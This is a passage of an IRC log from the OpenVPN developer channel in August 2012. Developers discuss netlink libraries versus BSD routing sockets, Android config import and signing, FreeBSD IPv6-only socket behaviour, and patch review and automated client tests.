09:12 <@cron2> depending on what's worse, having a new external dependency and fighting with Alon about it, or just implement the protocol 09:13 <@d12fk> is he the keeper of external dependencies? 09:13 <@cron2> he's the complainer of "we don't do it that way in autoconf" 09:14 <@d12fk> hehe 09:14 <@dazo> I would not approve a RTNETLINK approach which would *not* use libnl ... I've worked with both, and the latter one is far more sane 09:14 <@d12fk> so you dislike mnl? 09:14 <@cron2> oh, there's multiple libraries for netlink? more religious fun to expect 09:14 <@d12fk> libnl is a bit chunky, but probably more common thoughout the distris 09:14 <@dazo> ahh, I thought that was a typo ... I've not seen libmnl yet 09:15 <@d12fk> there's three actually 09:15 <@cron2> must have all three! 09:15 <@dazo> libnl is very Linux centred, I believe 09:15 <@d12fk> libnetlink from iproute2, libnl from (REDHAT!) and libmnl from "netfilter" 09:15 <@dazo> (even though, I believe most *BSD have RTNETLINK) 09:16 <@cron2> dazo: what do I need to look for to answer that? 09:16 <@dazo> I need to look at libmnl ... It might be better 09:16 <@dazo> cron2: to answer what? 09:16 <@cron2> if the BSDs have RTNETLINK and libmnl supports that, we want that 09:16 <@d12fk> it's smaller but pablo is more of a hacker than thomas 09:16 <@cron2> dazo: whether a given BSD has RTNETLINK 09:16 <@cron2> I assumed that this was linux only 09:17 <@dazo> cron2: I think the Linux implementation was using BSD as inspiration 09:17 <@d12fk> so far my impression was that the lib were linux only 09:17 <@d12fk> like pam e.g. 09:17 <@dazo> Linux has been better at making use of netlink in a broader scale probably .... and iproute2 uses it exclusively, iirc 09:17 <@cron2> well, there's no "*netlink*" header file, and no NETLINK define in */*.h on FreeBSD, so I'm not sure what to look for 09:18 <@d12fk> routing socket 09:18 <@d12fk> AF_ROUTE or similar 09:18 <@cron2> how do I know whether it has routing sockets? what's the name of the function call, header file, ...? 09:19 <@d12fk> man 7 socket 09:19 <@d12fk> maybe... 09:19 <@d12fk> bsd claim to have good docs, do yer thang =) 09:19 <@cron2> socket is (2) :-) 09:19 <@dazo> hehe 09:19 <@cron2> they have good docs if you know what to look for 09:19 * dazo is digging a bit deeper 09:20 <@cron2> there *is* AF_ROUTE, so something at least 09:21 <@d12fk> struct rt_msghdr 09:21 <@cron2> googling for "netlink freebsd" is not finding anything relevant on the first page, except a pointer "Linux does it via netlink socket"... :) 09:21 <@dazo> whoooooo ... updated libnl docs since last time I looked ... whooo .... updated libnl docs 09:21 <@dazo> cron2: the same as I see as well 09:22 <@dazo> cron2: might be you need to look at how iproute2 does it on bsd ... 09:22 <@cron2> you can use iproute2 on BSD? 09:22 <@dazo> cron2: you can't? 09:22 * dazo is not a BSD user 09:22 <@cron2> why do you assume you can? you can't use BSD's ifconfig on Linux either 09:23 <@cron2> totally different kernel API 09:23 <@cron2> and (as ecrist told us) they *like* "ifconfig" and want to keep it :-) 09:23 <@dazo> yeah, but I expected it was some autotools magic .... #ifdef BSD / #ifdef LINXU 09:23 <@d12fk> and thats the case here as well 09:24 <@d12fk> AF_NETLINK is a superset of the AF_ROUTE thing on bsd and was inspired by it 09:24 <@cron2> dazo: you live in a world of incompatible linux distributions :-) - those look different, but are the same under the hood. the BSDs are *not* Linux inside :-) 09:24 <@dazo> cron2: I know ... :) .... somehow I thought that iproute2 was ported to BSD, but I'm obviously mistaken :) 09:24 <@cron2> d12fk: this sounds very reasonable. For our usage, AF_ROUTE might be sufficient, though ("get routes, set routes") 09:25 <@d12fk> so you think an abstraction layer makes sense? 09:25 <@d12fk> i'd rather have a specialized lib on each system 09:25 <@cron2> compiling OpenBGPd on FreeBSD taught me that BSDs are not all alike either :-/ - AF_ROUTE on OpenBSD has extra structure elements in comparison to AF_ROUTE on FreeBSD 09:25 <@d12fk> prexisting lib 09:25 <@dazo> nah, why settle with that ... why not configure everything via NETLINK? then you can just set CAP_NETADMIN and drop root privileges, and you can still do network changes 09:26 <@cron2> dazo: living in your Linux world again? :-) 09:26 <@d12fk> yes 09:26 <@ecrist> oh yeah, Open/Free BSD are COMPLETELY different animals 09:26 <@d12fk> forking ifconfig sucks ass anyways 09:26 <@d12fk> is openbsd even an animal? 09:26 <@ecrist> it's a fish 09:26 <@d12fk> hehe 09:26 <@cron2> d12fk: it gets the job done, and the overhead for a once-per-connection operation doesn't matter 09:26 <@ecrist> iirc, that's part of the anmial kingdom, right? 09:27 <@d12fk> the orb-thing otoh.... =) 09:27 <@ecrist> I hate that orb-thing 09:27 * cron2 smells we need to have another hackathon at FOSDEM2013 :-) 09:27 <@dazo> cron2++ 09:27 <@d12fk> bi annually meetings 'd rock 09:28 <@cron2> so we should meet in August/September? 09:28 <@d12fk> i have a house to insulate, so no =) 09:28 <@cron2> then bi-annual won't work out :-) - but in general, it might make a few things easier 09:29 <@d12fk> we can probably block a meeting room for a week 09:29 <@dazo> (NETLINK RFC - http://www.ietf.org/rfc/rfc3549.txt) 09:30 <@dazo> but, yeah ... Linux centric 09:30 <@d12fk> yeah quickly patch oepnbsd to add it, they'll love that 09:30 <@dazo> hahaha 09:30 <@d12fk> finally comaptible with linux 09:30 <@cron2> can you do "ifconfig" with netlink? Doesn't really look like it (NETLINK_ROUTE, NETLINK_FIREWALL, NETLINK_ARPD)? 09:31 <@d12fk> you can do all sorts of stuff 09:32 <@dazo> cron2: you can, but it's well hidden in that rfc, iirc ... I use libnl in python-ethtool to query for eth devices and IP addresses 09:32 <@cron2> ah, "network interface service module" 09:32 <@d12fk> RTM_NEWLINK, RTM_DELLINK, RTM_GETLINK Create, remove or get information about a specific network interface. 09:32 <@cron2> 2.3.3.1, found it ("IFF_* flags" are a dead giveaway :) ) 09:34 <@dazo> yeah, that's it 09:35 * dazo found libmnl docs 09:36 <@d12fk> ims send something hand hacked first and hope for dicussion and volunteers then 09:36 <@dazo> d12fk: libmnl is far more low-level than libnl it seems 09:36 <@d12fk> thats the "m" 09:36 <@cron2> --with-iproute2, --with-libnl, --with-libml. please let's not go there. 09:37 <@d12fk> might have to because of the embedded guys 09:37 <@d12fk> dont know if the have netllink at their hands 09:37 <@d12fk> but then why wouldnt they 09:38 <@cron2> a barebones netlink library might take less code than strcat'ing ifconfig commands... 09:38 <@dazo> cron2: I'd say that if autotools detects Linux, libnl would be by default 09:38 <@cron2> dazo: which implies ripping out all ifconfig+iproute2 stuff on linux. Which might raise some discussion, but "3 different APIs" ist just unmaintainable. 09:39 <@dazo> cron2: libnl/libmnl isn't that big a payload ... and for embedded stuff, we're selling them polarssl, so that we don't need the gigantic openssl ;-) 09:39 <@cron2> (Umm. Someone could explain to me why we have 437 different APIs in OpenVPN to do "network on Windows") 09:39 <@cron2> but this is all 2.4 material. can we re-focus on getting 2.3 released? 09:39 <@dazo> :) 09:40 <@cron2> $colleague just got a big request about replacing a cisco VPN with OpenVPN "including IPv6"... so it would be really good to be able to point them at something released, not "alpha3" 09:40 <@dazo> cron2: any chance we could manage to modularise network configuration better in 2.4? ... in stead of this mega big tun.c doing all kind of odd things depending on #define ? 09:41 <@cron2> dazo: definitely. 09:41 <@cron2> (I have a couple of ideas, Alon has actually coded something I consider total overkill, something reasonable might be found nevertheless) 09:41 <@dazo> cron2: then we could easily have linux-netlink, bsd, iproute2, etc, etc 09:41 <@cron2> dazo: someone has to maintain and test all the variants. no go for "linux-netlink and iproute2" 09:42 <@cron2> it's stupid enough we have two different linux versions today 09:42 <@cron2> and 437 different windows variants that can be selected at run-time... 09:42 <@dazo> yeah, I can agree there 09:42 <@d12fk> we could use libnetlink and nobady using iproute2 can complain about new deps 09:42 <@cron2> (it's not just tun.c, it's also route.c) 09:43 <@cron2> yes 09:43 <@d12fk> libnl is probably overachieving for our needs 09:43 <@dazo> d12fk: agreed ... and libnl is default installed on all newer (RHEL5++) distros 09:44 <@d12fk> talking libnetlink here 09:44 <@d12fk> thats what iproute2 comes with 09:44 <@d12fk> just so were talking about the same 09:45 * dazo double checks a few things 09:45 <@d12fk> iirc it's also just doing the basics and you have to craft the msgs yourself 09:45 <@d12fk> but since iproute2 does all we need it's a great sorce for inspiration 09:46 <@d12fk> libnl-route is 264k 09:48 <@d12fk> oh seems libnetlink is linked staically 09:49 <@dazo> d12fk: yeah, libnetlink is provided and static linked in iproute ... that's what I wanted to figure out 09:50 <@d12fk> seems nice enough to consider 09:50 <@d12fk> is the .a packaged? 09:50 <@dazo> d12fk: I libnetlink talks directly to a NETLINK socket 09:51 <@d12fk> http://swoolley.org/man.cgi/3/libnetlink 09:51 <@dazo> not afaict .... seems to be static linked and that's it 09:51 <@vpnHelper> Title: libnetlink(3) - libnetlink - A library for accessing the netlink service - man 3 libnetlink (at swoolley.org) 09:52 <@d12fk> so we'd need to fork it, bad 09:52 <@dazo> d12fk: I've been down that road in py-ethtool ... and I switched to libnl .... but libnl can be tricky to work with, depending on the libnl version being used 09:53 <@dazo> I would probably prefer libmnl over libnetlink ... just because we don't need to fork it ... if we fork it, we need to maintain it 09:53 <@d12fk> imo we oly need something that does netlink right and can figure out the rest ourself 09:54 <@d12fk> so libmnl is fine too 09:54 <@dazo> d12fk: yeah, and why I do like libnl, is that it does most of the things fairly simple and you don't have to make those NETLINK packets manually yourself 09:54 <@d12fk> question is if it's available in the distris 09:54 <@dazo> it should be 09:56 <@d12fk> only in debian testing 09:57 <@dazo> that's really odd ... I know I've hated RHEL5 for shipping a an old version .... and see it's been in Fedora since F8 (which is about 4 years ago) 09:57 <@d12fk> your talking about libnl, i do about libmnl right? 09:57 <@dazo> yeah, I do 09:58 <@dazo> okay, that explains it 09:58 <@d12fk> 260k dep is probably out of question for embedded 09:58 <@dazo> d12fk: for libmnl? 09:59 <@d12fk> libnl-route 09:59 <@cron2> yeah, that's darn huge for "take a function call, pack it into a structure, ship to socket" 09:59 <@d12fk> libnl is superior to that, but we don't actually need this service 09:59 <@dazo> but is that optimised code? .... I mean openssl is big on mips, being around 500k .... so it would surprise me that if libmnl would be so big 10:00 <@d12fk> libnl is, libmnl is 30k an x86 10:00 <@dazo> ahh, okay 10:01 <@d12fk> i imagine pablo wrote it for use in iptables 10:01 <@dazo> hmmm ... f18 version of libnl is 130k 10:01 <@d12fk> and conntrack 10:02 <@dazo> yeah, wouldn't surprise me 10:02 <@d12fk> what version? 10:02 <@dazo> libnl-1.1-16 10:02 <@d12fk> ah 10:02 <@d12fk> -rw-r--r-- 1 root root 264K Apr 2 22:34 /usr/lib/libnl-route-3.so.200.3.0 10:03 <@d12fk> grew a little over time 10:03 <@d12fk> but it's a sofa now not a chair 10:03 <@dazo> :) 10:06 <@d12fk> so? base the patch on libmnl from the start? 10:07 <@cron2> if the API is stable, roll our own glue library? 10:07 <@cron2> (that's what everybody seems to do on the BSDs with AF_ROUTE - "just access the stuff") 10:07 <@d12fk> ok 10:07 <@cron2> at least that's my impression from looking into quagga etc 10:07 <@d12fk> i'd split off a route_linux.c then 10:08 <@cron2> nah 10:08 <@cron2> as the other half is in tun.c, I'd split off "routing plus ifconfig plus tunnel setup" into machine-linux.c, machine-bsd.c, machine-windows.c 10:09 <@cron2> but that is what needs some careful design, or we'll end in ratholed bikesheds 10:09 <@dazo> it would make more sense to start in that end, and move to netlink in the next step after that 10:10 <@cron2> there's large common code in the tun setup, and we don't want to copy-paste that to every single machine-* file 10:10 <@dazo> yupp 10:10 <@cron2> and I do not have the energy right now to discuss that change with Alon 10:11 <@d12fk> you only need to convince dazo =) 10:11 <@dazo> cron2: we can always choose to ignore him .... 10:11 <@dazo> hahaha :) 10:11 <@dazo> d12fk: what's worse, me or Alon? ;-) 10:11 <@cron2> but that still takes energy, ignoring bits of the discussion 10:11 <@d12fk> you listening to his arguments =P 10:11 <@dazo> lol 10:11 * cron2 finds Alon *much* worse because he is so convinced that he's right about everything that he is not listening 10:12 <@d12fk> anyways i'll send the patch and start the flamewar 10:12 <@cron2> and he doesn't care for users or anyone besides "core developers named Alon" 10:12 <@dazo> d12fk: I had hoped for a calm mailing list this autumn ..... :-P 10:12 <@d12fk> not ehn i send the interactive service 10:12 <@cron2> which brings me to plaisthos' patches that I want to review tonight :) 10:12 <@dazo> :) 10:13 <@cron2> dazo: could you go and hunt your bug, please, so we can relase 2.3 in the meantime? :-) 10:13 <@d12fk> which out customers are already unsing btw =) 10:13 <@dazo> cron2: I'll do my best :) 10:13 <@cron2> d12fk: UTM provides 2.3_alpha* installer? 10:14 < plaisthos> UTM=? 10:14 <@cron2> the commercial product that pays d12fk's meals :) - Astaro firewall thingie with built-in openvpn packager 10:14 <@cron2> click on "give it to me!" and you'll get a windows package with binary + installer + all config + certs 10:15 <@cron2> seriously cool 10:15 <@cron2> (*this* is "caring for users") 10:15 < plaisthos> ah okay 10:16 < plaisthos> oh astaro has been renamed sophos unified thread management 10:16 <@dazo> yeah 10:16 <@d12fk> i'va backported the thing to 2.1.1 actually =) 10:17 < plaisthos> The android users using my app are also forced to use 2.3alpha3 d: 10:17 <@d12fk> 2.3 will be in utm9.1 10:17 <@d12fk> and i'll better keep up with upstream using git and topgit 10:18 <@d12fk> and a community to work with, <3 u guys =)) 10:19 < plaisthos> I even got a comment on my app: Works with Astaro / UTM9 Works with Astaro SG / Sophos UTM9 on Samsung Galaxy Nexus (4.1.1) 10:19 < plaisthos> :D 10:20 <@d12fk> yeah i'm thinking about bundleing it as well but am probably to short of time 10:21 <@d12fk> can androids install apks from any website? 10:21 <@d12fk> or does it have to be the market? 10:21 < plaisthos> depends 10:21 < plaisthos> you have to enable allow apks from untrusted sources 10:22 < plaisthos> but there is another problem which is a little more subtle 10:22 < plaisthos> if you want the configuration in the apk itself you have to resign it 10:23 <@d12fk> is it the std java codesigning? 10:23 <@d12fk> or do you need google tools 10:24 * d12fk is a mobile agnostic 10:24 < plaisthos> and you cannot install more than one app with the same package name installed, and android refuses to still an apk with a different signature 10:24 * d12fk owns a Nokia 3310 10:24 < plaisthos> d12fk: i think google tools 10:24 < plaisthos> apk is just a glorified zip 10:24 <@d12fk> so are .jars 10:24 < plaisthos> but could be standard java signing 10:24 < plaisthos> never checked 10:24 <@d12fk> ok 10:25 < plaisthos> eclipse does it for me :) 10:27 <@d12fk> the dreaded eclipse, hackers unlearn everything 10:27 < plaisthos> If you have an .ovpn file you download with the browser my app will happily present itself as viewer for it and open it 10:27 < plaisthos> http://developer.android.com/tools/publishing/app-signing.html 10:27 <@vpnHelper> Title: Signing Your Applications | Android Developers (at developer.android.com) 10:27 <@d12fk> what mime-type? 10:27 <@d12fk> and does it install the config or is it one-shot only 10:28 < plaisthos> installs the config 10:28 <@d12fk> and how about PKI, only inline files? 10:29 <@d12fk> i could actually add the config part to the user portal as a first step rather easily 10:29 <@d12fk> customer might want astaro signed binaries probably 10:30 <@d12fk> err, bytecode =) 10:30 <@d12fk> err, you ship openvpn as well, right? 10:30 < plaisthos> the app looks for any files it can't find on the sdcard and in the folder the .ovpn was selected from (if selected by the file chooser and not email attachment/web download) 10:30 < plaisthos> d12fk: yes 10:31 < plaisthos> d12fk: for mime types: http://code.google.com/p/ics-openvpn/source/browse/AndroidManifest.xml#58 10:31 <@vpnHelper> Title: AndroidManifest.xml - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 10:31 <@d12fk> you could define some xml format and mime-type to get other files over the wire as well 10:32 < plaisthos> d12fk: yeah, if I get some nice api that could make providers live easier I can implement it 10:33 <@d12fk> i didnt understand ^ that 10:34 < plaisthos> d12fk: There there was a nice xml format to use I would have implemented it 10:34 < plaisthos> but I know of any 10:34 <@d12fk> just make up your own, really 10:34 < plaisthos> yeah 10:34 <@d12fk> and don't get inspired from apple iOSes 10:35 < plaisthos> I feel that it needs to do something which can't be done by using inline files in .ovpn 10:36 <@d12fk> so your app is happy with inline? 10:36 < plaisthos> at the moment login into your openvpn provider acount -> get a .ovpn download -> get ask if you want to it in my app -> click save imported profile works very well 10:36 < plaisthos> yes 10:36 < plaisthos> I encourage user to do it :) 10:36 < plaisthos> See the note to adminstrators: http://code.google.com/p/ics-openvpn/ 10:36 <@vpnHelper> Title: ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 10:36 <@d12fk> ok i'll try to cram it into utm9.1 then 10:37 <@d12fk> is your app free? 10:37 < plaisthos> other way which is perhaps interesting for coperate is to use the android certificate storage 10:37 < plaisthos> d12fk: yes 10:38 <@d12fk> nice 10:38 <@d12fk> would be cool if configs could be signed and checked against the cert store 10:38 <@d12fk> really enterprisy 10:39 <@dazo> d12fk: heh ... cron2 convinced me that didn't make much sense a couple of weeks ago .... :-P 10:39 <@d12fk> for fully intregrated config install it does imo 10:40 <@d12fk> especially if it also comes with a on-demand feature to route all traffic through someones box 10:40 < plaisthos> d12fk: at the moment all configuration are freely editable 10:41 <@d12fk> thats fine just for the initial import i mean 10:41 <@dazo> d12fk: and the client can be tweaked with a binary which ignores these things ... to make sense, you need a way how the client can be verified by the server as unmodified and then verify the config 10:42 <@d12fk> dazo: were talking about different things here 10:43 < plaisthos> d12fk: you want a "can I trust this config" thing? 10:43 <@d12fk> anyone can send a config, and user click away stuff to move on 10:43 <@d12fk> plaisthos: yes 10:43 <@d12fk> well, want... i think it would make sense 10:43 <@d12fk> Apple does it with their profiles 10:43 <@d12fk> we don't supprt it tho =) 10:44 <@cron2> d12fk: for that to work, you need to have a master CA *first* - if you use the CA cert in the config, you're screwed even if it's signed 10:44 <@dazo> d12fk: I can try to find some time and extract the discussion cron2 and I had on this topic 10:44 < plaisthos> d12fk: sure I can implement a check that checks a openvpn signature against the certificates of the android keystore on importing a config 10:45 < plaisthos> If you define a signed openvpn config format :) 10:45 <@dazo> it needs to be a pre-shared pubkey to really make sense, though 10:45 <@d12fk> makes sense for us, here's why: 10:46 < plaisthos> dazo: I think of just checking against the system certificates 10:46 < plaisthos> if you have installed an untrusted CA cert you are screwed anyway in the SSL logic 10:46 <@dazo> and the only things you really need to verify are keying material and remote host/port in the config file 10:46 <@d12fk> a corporation may have a couple of UTMs and a bunch of Android users 10:47 <@d12fk> now that corp can install a ovpn config CA cert on their phones and users can install configs from user portal if they configure the UTMs to sign configs with that CA 10:47 <@d12fk> the VPN CA need not be the same on all boxes 10:48 <@d12fk> in fact it isn't with our product 10:48 <@d12fk> pls replace CA with cert, it's late... 10:49 < plaisthos> sorry I need to be going :/ 10:49 <@d12fk> or maybe it'S the constant IRCing that makes this with me... =) 10:49 < plaisthos> will be on again later 10:49 <@cron2> d12fk: it's your age showing *duck&run* 10:50 <@d12fk> plaisthos: sure, nice weekend 10:50 <@d12fk> cron2: not sure, not so nice weekend to you =P 10:51 <@cron2> d12fk: I can't leave yet, have to do major router wreckage^Wreconstruction tonight 10:51 <@d12fk> hehe 10:51 <@cron2> "this box is out of 10G ports" -> ok, let's add another card 10:51 <@cron2> "this box is out of slots as well" -> ok, let's move it to another chassis with more slots 10:51 <@cron2> "this rack is full" -> ok, let's move it to another rack and re-cable everything 10:51 <@cron2> "ow shit" 10:57 -!- dazo is now known as dazo_afk 11:27 < plaisthos> cron2: :) 11:30 <+krzee> ouch 11:31 < plaisthos> regarding the mime type discussion, is there a mime type for .ovpn? 11:31 < plaisthos> Apart from application/x-openvpn-profile what I am using? 13:21 -!- d12fk [~heiko@exit0.net] has quit [Ping timeout: 265 seconds] 13:32 -!- Netsplit *.net <-> *.split quits: +krzee, Balcora, EvilJStoker, ender|, @cron2, @vpnHelper, reiffert, @andj 13:37 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:37 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 13:37 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:37 -!- Balcora [~cora@ppp178-161.static.internode.on.net] has joined #openvpn-devel 13:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:37 -!- ServerMode/#openvpn-devel [+ovo andj krzee vpnHelper] by kornbluth.freenode.net 13:38 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 13:38 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:38 -!- ServerMode/#openvpn-devel [+o cron2] by kornbluth.freenode.net 15:14 -!- Irssi: #openvpn-devel: Total of 15 nicks [6 ops, 0 halfops, 1 voices, 8 normal] 15:14 <@ecrist> mattock_/others: I'll be AFK from Sunday, 6am CDT through Sunday the 13th (late). No computer anywhere close. this will be great. 15:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Aug 04 2012 01:01 < reiffert> enjoy ecrist 05:53 <@cron2> gnaaa 05:53 * cron2 can't run the test server with "udp6" because, on FreeBSD, that's "ipv6-only" 05:55 <@cron2> (or is it??? netstat output confuses me) 05:59 <@cron2> forget about it, it *displays* "udp6" but works fine for IPv4 05:59 <@cron2> freebsd-74-amd64/::ffff:194.97.140.3 08:46 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Read error: No route to host] 09:05 <@ecrist> cron2: sockstat is a bit easier to read --- Day changed Sun Aug 05 2012 07:45 <@cron2> so... first automated *server* side test setup running. cronjob will 1x/day fetch the latest git master, autoreconf / make / start handful of openvpn servers, and then ssh $somewhereelse to trigger a matching t_client run 07:46 <@cron2> mmmh 07:46 <@cron2> this could actually be used to test p2p openvpn (with secret) as well... *make note to self* 07:47 <@cron2> now, if polar ssl would do blowfish today, I could run all the tests twice with different crypto... andj: are you listening? :-) 13:04 -!- Netsplit *.net <-> *.split quits: uuuppz 15:05 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 15:05 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 15:05 -!- mode/#openvpn-devel [+o andj] by ChanServ 18:57 -!- Balcora [~cora@ppp178-161.static.internode.on.net] has quit [Ping timeout: 260 seconds] 19:45 <+krzee> anyone know how to communicate with the management socket from within bash? 19:45 <+krzee> like if binding to a socket file, or should i just use 127.0.0.1 instead? --- Day changed Mon Aug 06 2012 03:02 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 03:04 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Client Quit] 03:04 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:10 -!- dazo_afk is now known as dazo 05:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:24 <@dazo> plaisthos: you here? 06:38 < plaisthos> dazo: yes 06:38 <@dazo> plaisthos: ahh :) 06:38 <@dazo> plaisthos: I'm looking at the stuff cron2 have acked ... found a silly mistake in show_options() .... you use the variable 'options' but it should be 'o', but I'm fixing that when applying the patch 06:39 <@dazo> however ... I wondered about the other patch ... 06:39 * dazo needs a memory refresh 06:39 <@dazo> (looking at mailing list again) 06:39 < plaisthos> [PATCH 3/4] Merge almost identical create_socket_tcp and create_socket_tcp6 06:39 < plaisthos> that one? 06:39 <@dazo> yes ... patch 3/4 ... 06:40 <@dazo> is it just the one you sent 15:36 (2-aug) which is to be applied? 06:40 <@dazo> or is it depending on the one you sent 1-aug too? 06:40 < plaisthos> no just the 2 aug should be fine 06:41 <@dazo> goodie, then I'll pull it in now 06:41 < plaisthos> dazo: thanks 06:41 <@dazo> for the future, when using git send-email or git-format-patch on such "new version of former patch", could you please use --subject-prefix="PATCH v2" ... or something like that? 06:42 <@dazo> it makes it easier to understand what to look at :) 06:42 < plaisthos> dazo: ah okay 06:42 <@cron2> dazo: what was that, with "options"? 06:42 <@dazo> cron2: show_settings (const struct options *o) 06:42 <@dazo> and the patch adds: if((options->management_flags & MF_EXTERNAL_KEY)) 06:42 <@dazo> which doesn't compile 06:42 <@cron2> bah 06:42 * cron2 slaps plaisthos with a trout 06:43 * dazo wonders what it is about germans and trout for punishments ..... 06:43 <@cron2> I admit I did not do the basic "does it compile?" check, just looked for "does it make sense?" 06:43 <@dazo> (tglx uses frozen trouts :-P) 06:43 <@dazo> cron2: yeah, that should normally be enough ... I don't expect compile checks of reviewers ;-) 06:43 < plaisthos> dazo: did not know that the author of mIRC was german 06:43 <@cron2> nah, that's for major issues, like "it compiles and subtly breaks later on" 06:44 <@dazo> ack 06:44 <@dazo> plaisthos: ?! 06:44 <@cron2> anyway... need to patch, review *and compile test* 2/4 and 4/4 :) 06:45 < plaisthos> dazo: mirc had (has?) the trout options when you right click a user which produces the "slaps xx with a trout" 06:45 <@dazo> plaisthos: hahaha ...really!?!? ... that's awesome!!!;-) 06:46 < plaisthos> 2/4 and 4/4 should compile. I tested really these patches 06:46 <@cron2> .oO(I would say that, too) 06:47 < plaisthos> for 1/4 I thought I could get away with minimal change without testing 06:47 < plaisthos> but I am was wrong 06:47 <@dazo> :) 06:47 * plaisthos ' grammar is wrong too 06:48 <@cron2> JFTR: I just restarted the openvpn-test-server processes, now with "proto udp6" and "proto tcp6-server" 06:48 <@cron2> so the t_client tests can run with IPv6 as well, if reasonable IPv6 connectivity is there. 06:51 <@cron2> oh 06:51 <@cron2> meh 06:51 <@cron2> on Linux, "udp6" and "tcp6-server" bind *both* address families, on FreeBSD, they are ipv6-only 06:51 <@cron2> I thought that was just an OpenBSD problem 06:53 < plaisthos> another reason to get working multiple sockets and usage of getaddrinfo to openvpn :) 06:54 <@cron2> plaisthos: indeed... :-) 06:54 <@cron2> dazo: please push not yet, otherwise all the buildslaves will be unhappy 06:55 <@dazo> cron2: you caught me in the right point :) ... I'm about to kick off 'make check' before pushing 06:57 <@dazo> oh I guess I understand what cron2 is talking about now ... 06:57 <@dazo> Mon Aug 6 13:55:56 2012 TCP: connect to [AF_INET]199.102.77.82:51194 failed, will try again in 5 seconds: Connection refused 06:58 * plaisthos wonders if os x behaves in the same way as *BSD 06:59 <@cron2> dazo: should be back now 07:00 <@dazo> cron2: thx!! 07:00 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 07:01 <@cron2> I'm a bit confused, though, as the docs I could find (http://www.freebsd.org/doc/en/books/developers-handbook/ipv6.html) seem to state that by binding to "ANY" on an IPv6 socket, you *should* get IPv4-mapped connects ("as does Linux") 07:01 <@vpnHelper> Title: IPv6 Internals (at www.freebsd.org) 07:01 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:01 -!- mode/#openvpn-devel [+o andj] by ChanServ 07:05 <@cron2> ah 07:05 <@cron2> there we go 07:05 <@cron2> net.inet6.ip6.v6only: 1 07:05 <@cron2> the sysctl got renamed *2* times during FreeBSD evolution 07:07 < plaisthos> :) 07:08 <@cron2> tcp46 0 0 *.51194 *.* LISTEN 07:08 <@cron2> udp46 0 0 *.51197 *.* 07:08 <@cron2> ... this is better :) 07:09 < plaisthos> but it is good know the freebsd is doing things different then Linux, I will add this to my test list 07:10 <@cron2> FreeBSD defaults to "v6 sockets will only receive v6 packets" these days, but can by sysctl'ed. OpenBSD enforces this, so "listen on two sockets" is the only way to get v4+v6 there 07:17 < plaisthos> Mac OS X tcp stack is freebsd inherated so: 07:17 < plaisthos> net.inet6.ip6.v6only: 0 07:17 < plaisthos> but the default is different 07:18 <@cron2> oh, interesting 07:25 < plaisthos> on all three os (linux, os x, FreeBSD) you get 2 addrinfo results 07:25 < plaisthos> but linux binding to the second fails 07:27 < plaisthos> the example in the linux man page is try to bind the socket and use the first that succeds, the BSD manpage example tries to bind on all addresses and fails only if no socket could be bound 07:28 < plaisthos> the bsd example works on linux but not the other way round :/ 07:31 < plaisthos> Have to try how it behaves on windows 07:37 <@cron2> dazo: feel free to push, servers are all now v4+v6, so all client tests should succeed normally 07:37 <@vpnHelper> RSS Update - testtrac: Merge almost identical create_socket_tcp and create_socket_tcp6 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e1f6121d6c189c59b367890e82efe369e08861b4> || Fixes error: --key fails with EXTERNAL_PRIVATE_KEY: No such file or directory if... <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=4806cc102655f1a829d656f6deb83e 07:37 <@dazo> cron2: are you reading my mind? ;-) 07:37 <@cron2> freebsd74 client should now do v6 tests as well 07:37 <@dazo> cool! 07:37 <@cron2> dazo: you *are* fast today, my :-) 07:37 <@dazo> :) 07:38 <@cron2> v6 test stanza in t_client.rc is very simple, though... 07:38 <@cron2> RUN_TITLE_1a="tcp*6* / p2pm / top net30" 07:38 <@cron2> OPENVPN_CONF_1a="$OPENVPN_BASE_P2MP --dev tun --proto tcp6-client --remote $REMO 07:38 <@cron2> TE --port 51194" 07:38 <@cron2> (mind the line wrap, sorry) 07:38 <@cron2> EXPECT_IFCONFIG4_1a=$EXPECT_IFCONFIG4_1 07:38 <@cron2> EXPECT_IFCONFIG6_1a=$EXPECT_IFCONFIG6_1 07:38 <@cron2> PING4_HOSTS_1a="$PING4_HOSTS_1" 07:38 <@cron2> PING6_HOSTS_1a="$PING6_HOSTS_1" 07:38 <@cron2> "all is the same, just use tcp6-client" 07:38 <@cron2> and of course add "1a" to TEST_RUN_LIST... 07:39 <@dazo> nice! 07:39 <@dazo> I'll add that myself then :) 07:39 < plaisthos> of course if you specify a a and aaaa hostname in linux you get two sockets which both have to be bound ... 07:39 <@cron2> true (and that makes sense :) ) 07:41 < plaisthos> and hosts with more than one a and aaaa record return the number of a and aaaa records :) 07:42 <@cron2> ok, free time over, child#1 just woke up 08:04 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 08:04 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 08:34 <@cron2> ... 5 minutes... checkout master, patch with 2/4 + 4/4, compile, run t_client tests... :-) 09:22 < plaisthos> my android patchset is 